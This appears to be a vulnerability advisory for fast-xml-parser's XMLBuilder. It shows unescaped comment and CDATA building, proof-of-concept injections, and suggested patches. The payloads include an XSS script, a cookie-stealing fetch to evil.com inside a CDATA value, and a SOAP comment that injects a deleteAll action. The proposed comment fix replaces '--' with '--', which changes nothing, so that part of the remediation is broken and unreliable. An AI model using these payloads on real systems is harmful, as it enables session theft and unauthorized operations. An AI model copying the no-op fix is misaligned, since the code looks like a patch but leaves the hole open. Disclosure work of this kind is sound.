fast-xml-parser XMLBuilder: XML Comment and CDATA Injection via Unescaped Delimiters

// Line 442 - Comment building with NO escaping of -->
buildTextValNode(val, key, attrStr, level) {
    // ...
    if (key === this.options.commentPropName) {
        return this.indentate(level) + `<!--${val}-->` + this.newLine;  // VULNERABLE
    }
    // ...
    if (key === this.options.cdataPropName) {
        return this.indentate(level) + `<![CDATA[${val}]]>` + this.newLine;  // VULNERABLE
    }
}

import { XMLBuilder } from 'fast-xml-parser';

const builder = new XMLBuilder({
  commentPropName: "#comment",
  format: true,
  suppressEmptyNode: true
});

const xml = {
  root: {
    "#comment": "--><script>alert('XSS')</script><!--",
    data: "legitimate content"
  }
};

console.log(builder.build(xml));

const builder = new XMLBuilder({
  cdataPropName: "#cdata",
  format: true,
  suppressEmptyNode: true
});

const rss = {
  rss: { channel: { item: {
    title: "Article",
    description: {
      "#cdata": "Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more"
    }
  }}}
};

console.log(builder.build(rss));

const builder = new XMLBuilder({
  commentPropName: "#comment",
  format: true
});

const soap = {
  "soap:Envelope": {
    "soap:Body": {
      "#comment": "Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!--",
      Action: "getBalance",
      UserId: "12345"
    }
  }
};

console.log(builder.build(soap));

// For comments: replace -- with escaped equivalent
if (key === this.options.commentPropName) {
    const safeVal = String(val).replace(/--/g, '--');
    return this.indentate(level) + `<!--${safeVal}-->` + this.newLine;
}

// For CDATA: split on ]]> and rejoin with separate CDATA sections
if (key === this.options.cdataPropName) {
    const safeVal = String(val).replace(/]]>/g, ']]]]><![CDATA[>');
    return this.indentate(level) + `<![CDATA[${safeVal}]]>` + this.newLine;
}